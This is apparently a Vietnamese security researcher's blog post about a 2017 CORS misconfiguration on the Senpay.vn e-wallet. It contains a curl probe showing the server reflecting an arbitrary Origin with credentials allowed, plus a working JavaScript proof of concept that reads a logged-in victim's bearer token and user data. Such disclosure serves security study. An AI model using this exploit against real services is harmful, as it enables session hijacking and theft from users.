Trộm phiên đăng nhập Senpay.vn thông qua CORS

Senpay Logo

Hôm trước mình mới viết về lỗi XSS trên trang Sendo (PCI-DSS Level 1 ?). Hôm nay mình sẽ viết về cách khai thác trang ví điện tử cùng hệ thống qua lỗi cấu hình CORS một cách đơn giản. 

CORS là cái gì

CORS là khái niệm quen thuộc nếu bạn thiết kế REST API. Giả sử bình thường bạn dùng javascript để GET A.com từ B.com mà không có CORS thì browser của bạn sẽ báo lỗi (để bảo vệ bạn). Do đó header Access-Control-Allow-Origin sinh ra để cho biết những chỗ nào được gửi XHR đến B.com. Nó có thể nhận 3 loại giá trị: *, null, hoặc là 1 URL nào đấy. Vậy nên nếu bạn muốn whitelist cả B.com C.com thì chỉ có cách reflect lại Origin động (nhưng không phải reflect lại tất cả mọi thứ như SenPay).

Mặc định thì lúc gửi XHR như vậy sẽ không có cookie gì cả. Nếu muốn cookie được chạy theo thì A.com sẽ có thêm header Access-control-allow-credentials: true

TL;DR: hacker có thể gửi request như authenticated user X nếu X truy cập attacker.com và A.com có response lại với headers:

Access-control-allow-origin: attacker.com
Access-control-allow-credentials: true

Phát hiện lỗi

Dùng công cụ siêu khủng Chrome DevTools, ta dễ nhận ra server SenPay gửi lại header Access-Control-Allow-Origin thoắt ẩn thoắt hiện. Biết cái này được tạo tự động rồi, thử xem nó có reflect lại Origin bất kì không: 

> curl https://id.senpay.vn -I -H"Origin: pwneris.me"


server: nginx
date: Sat, 19 Aug 2017 [censored] GMT
content-type: text/html; charset=utf-8
content-length: 45
x-xss-protection: 1; mode=block
surrogate-control: no-store
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
pragma: no-cache
expires: 0
vary: Origin
access-control-allow-origin: pwneris.me
access-control-allow-credentials: true
x-ratelimit-limit: 500
x-ratelimit-reset: 1503162393644

Khai thác

SenPay sử dụng bearer token để thực hiện các requests trông khá an toàn nhưng nếu request đến id.senpay.vn chỉ bằng cookie thông thường thì sẽ vẫn có token xuất hiện ngay cuối source code (cùng với thông tin người dùng). Để chiếm phiên đăng nhập, ta chỉ cần lấy cắp token này:

 function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
x = this.responseText;
// I can send this to to a malicious server
console.log(x);
}
};
xhttp.open("GET", "https://id.senpay.vn", true);
xhttp.withCredentials = true;
xhttp.send();
}

Victim X đăng nhập SenPay rồi truy cập Exploit:

SenPay PoC

Session owned !

Comments